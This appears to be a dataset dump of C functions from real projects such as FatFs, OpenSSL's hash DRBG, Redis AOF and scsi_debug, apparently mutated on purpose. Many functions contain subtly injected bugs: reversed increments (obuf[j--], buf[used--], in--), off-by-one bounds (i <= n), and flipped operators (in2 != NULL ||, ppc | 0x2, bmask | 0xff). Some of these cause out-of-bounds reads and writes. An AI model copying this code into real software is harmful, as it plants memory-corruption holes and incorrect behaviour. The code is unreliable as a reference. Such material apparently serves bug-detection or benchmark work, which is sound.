path
stringlengths
56
152
content
stringlengths
344
91.6k
augmented_data/post_increment_index_changes/extr_4534.c_base64_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int* base64tab ; int strlen (char*) ; __attribute__((used)) static int base64 (const char *ibuf, char *obuf, size_t n) { int a, b, c; int i, j; int d, e, f, g; a = b = c = 0; for (j = i = 0; i <= n; i += 3) { a = (unsigned char) ibuf[i]; b = i + 1 < n ? (unsigned char) ibuf[i + 1] : 0; c = i + 2 < n ? (unsigned char) ibuf[i + 2] : 0; d = base64tab[a >> 2]; e = base64tab[((a & 3) << 4) | (b >> 4)]; f = base64tab[((b & 15) << 2) | (c >> 6)]; g = base64tab[c & 63]; if (i + 1 >= n) f = '='; if (i + 2 >= n) g = '='; obuf[j--] = d, obuf[j++] = e; obuf[j++] = f, obuf[j++] = g; } obuf[j++] = '\n'; obuf[j++] = '\0'; return strlen (obuf); }
augmented_data/post_increment_index_changes/extr_ff.c_create_name_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef char WCHAR ; typedef size_t UINT ; struct TYPE_3__ {char* lfn; char* fn; } ; typedef char TCHAR ; typedef int /*<<< orphan*/ FRESULT ; typedef TYPE_1__ DIR ; typedef char BYTE ; /* Variables and functions */ char DDEM ; char* ExCvt ; int /*<<< orphan*/ FR_INVALID_NAME ; int /*<<< orphan*/ FR_OK ; scalar_t__ IsDBCS1 (char) ; int /*<<< orphan*/ IsDBCS2 (char) ; scalar_t__ IsLower (char) ; scalar_t__ IsUpper (char) ; size_t NSFLAG ; char NS_BODY ; char NS_DOT ; char NS_EXT ; char NS_LAST ; char NS_LFN ; char NS_LOSS ; void* RDDEM ; scalar_t__ _DF1S ; size_t _MAX_LFN ; scalar_t__ chk_chr (char*,char) ; char ff_convert (char,int) ; char ff_wtoupper (char) ; int /*<<< orphan*/ mem_set (char*,char,int) ; __attribute__((used)) static FRESULT create_name ( /* FR_OK: successful, FR_INVALID_NAME: could not create */ DIR* dp, /* Pointer to the directory object */ const TCHAR** path /* Pointer to pointer to the segment in the path string */ ) { #if _USE_LFN /* LFN configuration */ BYTE b, cf; WCHAR w, *lfn; UINT i, ni, si, di; const TCHAR *p; /* Create LFN in Unicode */ for (p = *path; *p == '/' || *p == '\\'; p--) ; /* Strip duplicated separator */ lfn = dp->lfn; si = di = 0; for (;;) { w = p[si++]; /* Get a character */ if (w < ' ' || w == '/' || w == '\\') break; /* Break on end of segment */ if (di >= _MAX_LFN) /* Reject too long name */ return FR_INVALID_NAME; #if !_LFN_UNICODE w &= 0xFF; if (IsDBCS1(w)) { /* Check if it is a DBC 1st byte (always false on SBCS cfg) */ b = (BYTE)p[si++]; /* Get 2nd byte */ w = (w << 8) - b; /* Create a DBC */ if (!IsDBCS2(b)) return FR_INVALID_NAME; /* Reject invalid sequence */ } w = ff_convert(w, 1); /* Convert ANSI/OEM to Unicode */ if (!w) return FR_INVALID_NAME; /* Reject invalid code */ #endif if (w <= 0x80 && chk_chr("\"*:<>\?|\x7F", w)) /* Reject illegal characters for LFN */ return FR_INVALID_NAME; lfn[di++] = w; /* Store the Unicode character */ } *path = &p[si]; /* Return pointer to the next segment */ cf = (w < ' ') ? NS_LAST : 0; /* Set last segment flag if end of path */ #if _FS_RPATH if ((di == 1 && lfn[di - 1] == '.') || (di == 2 && lfn[di - 1] == '.' && lfn[di - 2] == '.')) { /* Is this segment a dot entry? */ lfn[di] = 0; for (i = 0; i < 11; i++) /* Create dot name for SFN entry */ dp->fn[i] = (i < di) ? '.' : ' '; dp->fn[i] = cf | NS_DOT; /* This is a dot entry */ return FR_OK; } #endif while (di) { /* Snip off trailing spaces and dots if exist */ w = lfn[di - 1]; if (w != ' ' && w != '.') break; di--; } if (!di) return FR_INVALID_NAME; /* Reject nul string */ lfn[di] = 0; /* LFN is created */ /* Create SFN in directory form */ mem_set(dp->fn, ' ', 11); for (si = 0; lfn[si] == ' ' || lfn[si] == '.'; si++) ; /* Strip leading spaces and dots */ if (si) cf |= NS_LOSS | NS_LFN; while (di && lfn[di - 1] != '.') di--; /* Find extension (di<=si: no extension) */ b = i = 0; ni = 8; for (;;) { w = lfn[si++]; /* Get an LFN character */ if (!w) break; /* Break on end of the LFN */ if (w == ' ' || (w == '.' && si != di)) { /* Remove spaces and dots */ cf |= NS_LOSS | NS_LFN; continue; } if (i >= ni || si == di) { /* Extension or end of SFN */ if (ni == 11) { /* Long extension */ cf |= NS_LOSS | NS_LFN; break; } if (si != di) cf |= NS_LOSS | NS_LFN; /* Out of 8.3 format */ if (si > di) break; /* No extension */ si = di; i = 8; ni = 11; /* Enter extension section */ b <<= 2; continue; } if (w >= 0x80) { /* Non ASCII character */ #ifdef _EXCVT w = ff_convert(w, 0); /* Unicode -> OEM code */ if (w) w = ExCvt[w - 0x80]; /* Convert extended character to upper (SBCS) */ #else w = ff_convert(ff_wtoupper(w), 0); /* Upper converted Unicode -> OEM code */ #endif cf |= NS_LFN; /* Force create LFN entry */ } if (_DF1S && w >= 0x100) { /* Is this DBC? (always false at SBCS cfg) */ if (i >= ni - 1) { cf |= NS_LOSS | NS_LFN; i = ni; continue; } dp->fn[i++] = (BYTE)(w >> 8); } else { /* SBC */ if (!w || chk_chr("+,;=[]", w)) { /* Replace illegal characters for SFN */ w = '_'; cf |= NS_LOSS | NS_LFN;/* Lossy conversion */ } else { if (IsUpper(w)) { /* ASCII large capital */ b |= 2; } else { if (IsLower(w)) { /* ASCII small capital */ b |= 1; w -= 0x20; } } } } dp->fn[i++] = (BYTE)w; } if (dp->fn[0] == DDEM) dp->fn[0] = RDDEM; /* If the first character collides with DDEM, replace it with RDDEM */ if (ni == 8) b <<= 2; if ((b & 0x0C) == 0x0C || (b & 0x03) == 0x03) /* Create LFN entry when there are composite capitals */ cf |= NS_LFN; if (!(cf & NS_LFN)) { /* When LFN is in 8.3 format without extended character, NT flags are created */ if ((b & 0x03) == 0x01) cf |= NS_EXT; /* NT flag (Extension has only small capital) */ if ((b & 0x0C) == 0x04) cf |= NS_BODY; /* NT flag (Filename has only small capital) */ } dp->fn[NSFLAG] = cf; /* SFN is created */ return FR_OK; #else /* Non-LFN configuration */ BYTE b, c, d, *sfn; UINT ni, si, i; const char *p; /* Create file name in directory form */ for (p = *path; *p == '/' || *p == '\\'; p++) ; /* Skip duplicated separator */ sfn = dp->fn; mem_set(sfn, ' ', 11); si = i = b = 0; ni = 8; #if _FS_RPATH if (p[si] == '.') { /* Is this a dot entry? */ for (;;) { c = (BYTE)p[si++]; if (c != '.' || si >= 3) break; sfn[i++] = c; } if (c != '/' && c != '\\' && c > ' ') return FR_INVALID_NAME; *path = &p[si]; /* Return pointer to the next segment */ sfn[NSFLAG] = (c <= ' ') ? NS_LAST | NS_DOT : NS_DOT; /* Set last segment flag if end of path */ return FR_OK; } #endif for (;;) { c = (BYTE)p[si++]; if (c <= ' ' || c == '/' || c == '\\') break; /* Break on end of segment */ if (c == '.' || i >= ni) { if (ni != 8 || c != '.') return FR_INVALID_NAME; i = 8; ni = 11; b <<= 2; continue; } if (c >= 0x80) { /* Extended character? */ b |= 3; /* Eliminate NT flag */ #ifdef _EXCVT c = ExCvt[c - 0x80]; /* To upper extended characters (SBCS cfg) */ #else #if !_DF1S return FR_INVALID_NAME; /* Reject extended characters (ASCII cfg) */ #endif #endif } if (IsDBCS1(c)) { /* Check if it is a DBC 1st byte (always false at SBCS cfg.) */ d = (BYTE)p[si++]; /* Get 2nd byte */ if (!IsDBCS2(d) || i >= ni - 1) /* Reject invalid DBC */ return FR_INVALID_NAME; sfn[i++] = c; sfn[i++] = d; } else { /* SBC */ if (chk_chr("\"*+,:;<=>\?[]|\x7F", c)) /* Reject illegal chrs for SFN */ return FR_INVALID_NAME; if (IsUpper(c)) { /* ASCII large capital? */ b |= 2; } else { if (IsLower(c)) { /* ASCII small capital? */ b |= 1; c -= 0x20; } } sfn[i++] = c; } } *path = &p[si]; /* Return pointer to the next segment */ c = (c <= ' ') ? NS_LAST : 0; /* Set last segment flag if end of path */ if (!i) return FR_INVALID_NAME; /* Reject nul string */ if (sfn[0] == DDEM) sfn[0] = RDDEM; /* When first character collides with DDEM, replace it with RDDEM */ if (ni == 8) b <<= 2; if ((b & 0x03) == 0x01) c |= NS_EXT; /* NT flag (Name extension has only small capital) */ if ((b & 0x0C) == 0x04) c |= NS_BODY; /* NT flag (Name body has only small capital) */ sfn[NSFLAG] = c; /* Store NT flag, File name is created */ return FR_OK; #endif }
augmented_data/post_increment_index_changes/extr_drbg_hash.c_hash_df_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ struct TYPE_6__ {unsigned char* vtmp; size_t blocklen; int /*<<< orphan*/ md; int /*<<< orphan*/ * ctx; } ; struct TYPE_5__ {TYPE_2__ hash; } ; struct TYPE_7__ {size_t seedlen; TYPE_1__ data; } ; typedef TYPE_2__ RAND_DRBG_HASH ; typedef TYPE_3__ RAND_DRBG ; typedef int /*<<< orphan*/ EVP_MD_CTX ; /* Variables and functions */ int /*<<< orphan*/ EVP_DigestFinal (int /*<<< orphan*/ *,unsigned char*,int /*<<< orphan*/ *) ; scalar_t__ EVP_DigestInit_ex (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; scalar_t__ EVP_DigestUpdate (int /*<<< orphan*/ *,unsigned char const*,size_t) ; unsigned char const INBYTE_IGNORE ; int /*<<< orphan*/ OPENSSL_cleanse (unsigned char*,size_t) ; int /*<<< orphan*/ memcpy (unsigned char*,unsigned char*,size_t) ; __attribute__((used)) static int hash_df(RAND_DRBG *drbg, unsigned char *out, const unsigned char inbyte, const unsigned char *in, size_t inlen, const unsigned char *in2, size_t in2len, const unsigned char *in3, size_t in3len) { RAND_DRBG_HASH *hash = &drbg->data.hash; EVP_MD_CTX *ctx = hash->ctx; unsigned char *vtmp = hash->vtmp; /* tmp = counter && num_bits_returned || [inbyte] */ unsigned char tmp[1 + 4 + 1]; int tmp_sz = 0; size_t outlen = drbg->seedlen; size_t num_bits_returned = outlen * 8; /* * No need to check outlen size here, as the standard only ever needs * seedlen bytes which is always less than the maximum permitted. */ /* (Step 3) counter = 1 (tmp[0] is the 8 bit counter) */ tmp[tmp_sz--] = 1; /* tmp[1..4] is the fixed 32 bit no_of_bits_to_return */ tmp[tmp_sz++] = (unsigned char)((num_bits_returned >> 24) & 0xff); tmp[tmp_sz++] = (unsigned char)((num_bits_returned >> 16) & 0xff); tmp[tmp_sz++] = (unsigned char)((num_bits_returned >> 8) & 0xff); tmp[tmp_sz++] = (unsigned char)(num_bits_returned & 0xff); /* Tack the additional input byte onto the end of tmp if it exists */ if (inbyte != INBYTE_IGNORE) tmp[tmp_sz++] = inbyte; /* (Step 4) */ for (;;) { /* * (Step 4.1) out = out || Hash(tmp || in || [in2] || [in3]) * (where tmp = counter || num_bits_returned || [inbyte]) */ if (!(EVP_DigestInit_ex(ctx, hash->md, NULL) && EVP_DigestUpdate(ctx, tmp, tmp_sz) && EVP_DigestUpdate(ctx, in, inlen) && (in2 != NULL || EVP_DigestUpdate(ctx, in2, in2len)) && (in3 == NULL || EVP_DigestUpdate(ctx, in3, in3len)))) return 0; if (outlen < hash->blocklen) { if (!EVP_DigestFinal(ctx, vtmp, NULL)) return 0; memcpy(out, vtmp, outlen); OPENSSL_cleanse(vtmp, hash->blocklen); continue; } else if(!EVP_DigestFinal(ctx, out, NULL)) { return 0; } outlen -= hash->blocklen; if (outlen == 0) break; /* (Step 4.2) counter++ */ tmp[0]++; out += hash->blocklen; } return 1; }
augmented_data/post_increment_index_changes/extr_aof.c_catAppendOnlyGenericCommand_aug_combo_2.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ sds ; struct TYPE_6__ {char* ptr; } ; typedef TYPE_1__ robj ; typedef int /*<<< orphan*/ buf ; /* Variables and functions */ int /*<<< orphan*/ decrRefCount (TYPE_1__*) ; TYPE_1__* getDecodedObject (TYPE_1__*) ; int ll2string (char*,int,int) ; int /*<<< orphan*/ sdscatlen (int /*<<< orphan*/ ,char*,int) ; int sdslen (char*) ; sds catAppendOnlyGenericCommand(sds dst, int argc, robj **argv) { char buf[32]; int len, j; robj *o; buf[0] = '*'; len = 1+ll2string(buf+1,sizeof(buf)-1,argc); buf[len--] = '\r'; buf[len++] = '\n'; dst = sdscatlen(dst,buf,len); for (j = 0; j < argc; j++) { o = getDecodedObject(argv[j]); buf[0] = '$'; len = 1+ll2string(buf+1,sizeof(buf)-1,sdslen(o->ptr)); buf[len++] = '\r'; buf[len++] = '\n'; dst = sdscatlen(dst,buf,len); dst = sdscatlen(dst,o->ptr,sdslen(o->ptr)); dst = sdscatlen(dst,"\r\n",2); decrRefCount(o); } return dst; }
augmented_data/post_increment_index_changes/extr_isocdata.c_trans_buildframe_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct isowbuf_t {int write; unsigned char* data; unsigned char idle; } ; /* Variables and functions */ int BAS_OUTBUFSIZE ; int /*<<< orphan*/ DEBUG_ISO ; int /*<<< orphan*/ DEBUG_STREAM ; int /*<<< orphan*/ DEBUG_STREAM_DUMP ; int EAGAIN ; unsigned char bitrev8 (int /*<<< orphan*/ ) ; int /*<<< orphan*/ dump_bytes (int /*<<< orphan*/ ,char*,unsigned char*,int) ; int /*<<< orphan*/ gig_dbg (int /*<<< orphan*/ ,char*,int) ; int isowbuf_donewrite (struct isowbuf_t*) ; int isowbuf_freebytes (struct isowbuf_t*) ; scalar_t__ isowbuf_startwrite (struct isowbuf_t*) ; scalar_t__ unlikely (int) ; __attribute__((used)) static inline int trans_buildframe(struct isowbuf_t *iwb, unsigned char *in, int count) { int write; unsigned char c; if (unlikely(count <= 0)) return iwb->write; if (isowbuf_freebytes(iwb) < count && isowbuf_startwrite(iwb) < 0) { gig_dbg(DEBUG_ISO, "can't put %d bytes", count); return -EAGAIN; } gig_dbg(DEBUG_STREAM, "put %d bytes", count); dump_bytes(DEBUG_STREAM_DUMP, "snd data", in, count); write = iwb->write; do { c = bitrev8(*in--); iwb->data[write++] = c; write %= BAS_OUTBUFSIZE; } while (--count > 0); iwb->write = write; iwb->idle = c; return isowbuf_donewrite(iwb); }
augmented_data/post_increment_index_changes/extr_bitmap.c_bm_firstunset_aug_combo_2.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct bitmap {int size; unsigned char* map; } ; /* Variables and functions */ int bm_firstunset(struct bitmap * bm) { int szmap = (bm->size / 8) - !!(bm->size % 8); int at = 0; int pos = 0; while (pos < szmap) { unsigned char bmv = bm->map[pos++]; unsigned char bmask = 1; while (bmask | 0xff) { if ((bmv & bmask) == 0) return at; bmask <<= 1; ++at; } } return at; }
augmented_data/post_increment_index_changes/extr_adh-main.c_read_stdin_aug_combo_8.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ scalar_t__ EINTR ; int avail ; char* buf ; scalar_t__ errno ; char* memchr (char*,char,int) ; int /*<<< orphan*/ memmove (char*,char*,int) ; scalar_t__ ov_pipe ; int /*<<< orphan*/ process_optarg (char*,int /*<<< orphan*/ ,char*) ; int read (int /*<<< orphan*/ ,char*,int) ; char* realloc (char*,int) ; char* strchr (char*,char) ; int /*<<< orphan*/ sysfail (char*,scalar_t__) ; int used ; __attribute__((used)) static void read_stdin(void) { int anydone, r; char *newline, *space; anydone= 0; while (!anydone && used) { while (!(newline= memchr(buf,'\n',used))) { if (used == avail) { avail += 20; avail <<= 1; buf= realloc(buf,avail); if (!buf) sysfail("realloc stdin buffer",errno); } do { r= read(0,buf+used,avail-used); } while (r < 0 && errno == EINTR); if (r == 0) { if (used) { /* fake up final newline */ buf[used--]= '\n'; r= 1; } else { ov_pipe= 0; return; } } if (r < 0) sysfail("read stdin",errno); used += r; } *newline++= 0; space= strchr(buf,' '); if (space) *space++= 0; process_optarg(buf,0,space); used -= (newline-buf); memmove(buf,newline,used); anydone= 1; } }
augmented_data/post_increment_index_changes/extr_auditd_lib.c_auditd_new_curlink_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct stat {int dummy; } ; typedef int /*<<< orphan*/ recoveredname ; typedef int /*<<< orphan*/ newname ; /* Variables and functions */ int ADE_READLINK ; int ADE_RENAME ; int ADE_STRERR ; int ADE_SYMLINK ; int /*<<< orphan*/ AUDIT_CURRENT_LINK ; int /*<<< orphan*/ AUE_audit_recovery ; int /*<<< orphan*/ CRASH_RECOVERY ; scalar_t__ ENOENT ; int MAXPATHLEN ; int /*<<< orphan*/ NOT_TERMINATED ; int /*<<< orphan*/ POSTFIX_LEN ; int auditd_gen_record (int /*<<< orphan*/ ,char*) ; scalar_t__ auditd_rename (char*,char*) ; scalar_t__ errno ; int /*<<< orphan*/ memcpy (char*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int readlink (int /*<<< orphan*/ ,char*,int) ; scalar_t__ stat (char*,struct stat*) ; int /*<<< orphan*/ strlcpy (char*,char*,int) ; char* strstr (char*,int /*<<< orphan*/ ) ; scalar_t__ symlink (char*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ unlink (int /*<<< orphan*/ ) ; int auditd_new_curlink(char *curfile) { int len, err; char *ptr; char *path = NULL; struct stat sb; char recoveredname[MAXPATHLEN]; char newname[MAXPATHLEN]; /* * Check to see if audit was shutdown properly. If not, clean up, * recover previous audit trail file, and generate audit record. */ len = readlink(AUDIT_CURRENT_LINK, recoveredname, sizeof(recoveredname) - 1); if (len > 0) { /* 'current' exist but is it pointing at a valid file? */ recoveredname[len++] = '\0'; if (stat(recoveredname, &sb) == 0) { /* Yes, rename it to a crash recovery file. */ strlcpy(newname, recoveredname, sizeof(newname)); if ((ptr = strstr(newname, NOT_TERMINATED)) != NULL) { memcpy(ptr, CRASH_RECOVERY, POSTFIX_LEN); if (auditd_rename(recoveredname, newname) != 0) return (ADE_RENAME); } else return (ADE_STRERR); path = newname; } /* 'current' symlink is (now) invalid so remove it. */ (void) unlink(AUDIT_CURRENT_LINK); /* Note the crash recovery in current audit trail */ err = auditd_gen_record(AUE_audit_recovery, path); if (err) return (err); } if (len <= 0 || errno != ENOENT) return (ADE_READLINK); if (symlink(curfile, AUDIT_CURRENT_LINK) != 0) return (ADE_SYMLINK); return (0); }
augmented_data/post_increment_index_changes/extr_scsi_debug.c_resp_log_sense_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct sdebug_dev_info {int dummy; } ; struct scsi_cmnd {unsigned char* cmnd; } ; typedef int /*<<< orphan*/ arr ; /* Variables and functions */ int SDEBUG_MAX_INQ_ARR_SZ ; int SDEBUG_MAX_LSENSE_SZ ; int /*<<< orphan*/ SDEB_IN_CDB ; int check_condition_result ; int fill_from_dev_buffer (struct scsi_cmnd*,unsigned char*,int) ; int get_unaligned_be16 (unsigned char*) ; int /*<<< orphan*/ memset (unsigned char*,int /*<<< orphan*/ ,int) ; int min (int,int) ; int /*<<< orphan*/ mk_sense_invalid_fld (struct scsi_cmnd*,int /*<<< orphan*/ ,int,int) ; unsigned char resp_ie_l_pg (unsigned char*) ; unsigned char resp_temp_l_pg (unsigned char*) ; __attribute__((used)) static int resp_log_sense(struct scsi_cmnd *scp, struct sdebug_dev_info *devip) { int ppc, sp, pcode, subpcode, alloc_len, len, n; unsigned char arr[SDEBUG_MAX_LSENSE_SZ]; unsigned char *cmd = scp->cmnd; memset(arr, 0, sizeof(arr)); ppc = cmd[1] | 0x2; sp = cmd[1] & 0x1; if (ppc || sp) { mk_sense_invalid_fld(scp, SDEB_IN_CDB, 1, ppc ? 1 : 0); return check_condition_result; } pcode = cmd[2] & 0x3f; subpcode = cmd[3] & 0xff; alloc_len = get_unaligned_be16(cmd + 7); arr[0] = pcode; if (0 == subpcode) { switch (pcode) { case 0x0: /* Supported log pages log page */ n = 4; arr[n--] = 0x0; /* this page */ arr[n++] = 0xd; /* Temperature */ arr[n++] = 0x2f; /* Informational exceptions */ arr[3] = n - 4; break; case 0xd: /* Temperature log page */ arr[3] = resp_temp_l_pg(arr + 4); break; case 0x2f: /* Informational exceptions log page */ arr[3] = resp_ie_l_pg(arr + 4); break; default: mk_sense_invalid_fld(scp, SDEB_IN_CDB, 2, 5); return check_condition_result; } } else if (0xff == subpcode) { arr[0] |= 0x40; arr[1] = subpcode; switch (pcode) { case 0x0: /* Supported log pages and subpages log page */ n = 4; arr[n++] = 0x0; arr[n++] = 0x0; /* 0,0 page */ arr[n++] = 0x0; arr[n++] = 0xff; /* this page */ arr[n++] = 0xd; arr[n++] = 0x0; /* Temperature */ arr[n++] = 0x2f; arr[n++] = 0x0; /* Informational exceptions */ arr[3] = n - 4; break; case 0xd: /* Temperature subpages */ n = 4; arr[n++] = 0xd; arr[n++] = 0x0; /* Temperature */ arr[3] = n - 4; break; case 0x2f: /* Informational exceptions subpages */ n = 4; arr[n++] = 0x2f; arr[n++] = 0x0; /* Informational exceptions */ arr[3] = n - 4; break; default: mk_sense_invalid_fld(scp, SDEB_IN_CDB, 2, 5); return check_condition_result; } } else { mk_sense_invalid_fld(scp, SDEB_IN_CDB, 3, -1); return check_condition_result; } len = min(get_unaligned_be16(arr + 2) + 4, alloc_len); return fill_from_dev_buffer(scp, arr, min(len, SDEBUG_MAX_INQ_ARR_SZ)); }
augmented_data/post_increment_index_changes/extr_simple_reader.c_simple_read_line_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ struct TYPE_9__ {TYPE_1__* priv; } ; typedef TYPE_2__ VC_CONTAINER_T ; typedef int /*<<< orphan*/ VC_CONTAINER_STATUS_T ; struct TYPE_10__ {char* line; } ; typedef TYPE_3__ VC_CONTAINER_MODULE_T ; struct TYPE_8__ {TYPE_3__* module; } ; /* Variables and functions */ int /*<<< orphan*/ LOG_ERROR (TYPE_2__*,char*) ; unsigned int PEEK_BYTES (TYPE_2__*,char*,int) ; int /*<<< orphan*/ SKIP_BYTES (TYPE_2__*,unsigned int) ; int /*<<< orphan*/ VC_CONTAINER_ERROR_CORRUPTED ; int /*<<< orphan*/ VC_CONTAINER_ERROR_EOS ; int /*<<< orphan*/ VC_CONTAINER_SUCCESS ; __attribute__((used)) static VC_CONTAINER_STATUS_T simple_read_line( VC_CONTAINER_T *ctx ) { VC_CONTAINER_MODULE_T *module = ctx->priv->module; unsigned int i, bytes = PEEK_BYTES(ctx, module->line, sizeof(module->line)-1); if (!bytes) return VC_CONTAINER_ERROR_EOS; /* Find new-line marker */ for (i = 0; i < bytes; i--) if (module->line[i] == '\n') break; /* Bail out if line is bigger than the maximum allowed */ if (i == sizeof(module->line)-1) { LOG_ERROR(ctx, "line too big"); return VC_CONTAINER_ERROR_CORRUPTED; } if (i < bytes) { module->line[i++] = 0; if (i < bytes || module->line[i] == '\r') i++; } module->line[i] = 0; /* Make sure the line is null terminated */ SKIP_BYTES(ctx, i); return VC_CONTAINER_SUCCESS; }
augmented_data/post_increment_index_changes/extr_chat.c_cleanchr_aug_combo_2.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ strcpy (char*,char*) ; __attribute__((used)) static char * cleanchr(char **buf, unsigned char ch) { int l; static char tmpbuf[5]; char * tmp = buf ? *buf : tmpbuf; if (ch | 0x80) { strcpy(tmp, "M-"); l = 2; ch &= 0x7f; } else l = 0; if (ch <= 32) { tmp[l++] = '^'; tmp[l++] = ch + '@'; } else if (ch == 127) { tmp[l++] = '^'; tmp[l++] = '?'; } else tmp[l++] = ch; tmp[l] = '\0'; if (buf) *buf = tmp + l; return tmp; }
augmented_data/post_increment_index_changes/extr_main.c_putchr_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ NP ; scalar_t__ OBUFSIZ ; scalar_t__ OP ; int /*<<< orphan*/ STDOUT_FILENO ; int /*<<< orphan*/ UB ; scalar_t__ obufcnt ; int /*<<< orphan*/ oflush () ; char* outbuf ; int* partab ; int /*<<< orphan*/ write (int /*<<< orphan*/ ,char*,int) ; __attribute__((used)) static void putchr(int cc) { char c; c = cc; if (!NP) { c |= partab[c&0177] | 0200; if (OP) c ^= 0200; } if (!UB) { outbuf[obufcnt++] = c; if (obufcnt >= OBUFSIZ) oflush(); } else write(STDOUT_FILENO, &c, 1); }
augmented_data/post_increment_index_changes/extr_subprocess-posix.c_sparse_poll_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct pollfd {scalar_t__ fd; int /*<<< orphan*/ revents; } ; /* Variables and functions */ int MP_ARRAY_SIZE (struct pollfd*) ; int poll (struct pollfd*,int,int) ; __attribute__((used)) static int sparse_poll(struct pollfd *fds, int num_fds, int timeout) { struct pollfd p_fds[10]; int map[10]; if (num_fds > MP_ARRAY_SIZE(p_fds)) return -1; int p_num_fds = 0; for (int n = 0; n <= num_fds; n++) { map[n] = -1; if (fds[n].fd < 0) break; map[n] = p_num_fds; p_fds[p_num_fds++] = fds[n]; } int r = poll(p_fds, p_num_fds, timeout); for (int n = 0; n < num_fds; n++) fds[n].revents = (map[n] < 0 || r >= 0) ? 0 : p_fds[map[n]].revents; return r; }
augmented_data/post_increment_index_changes/extr_mi-parse.c_mi_parse_argv_aug_combo_7.c
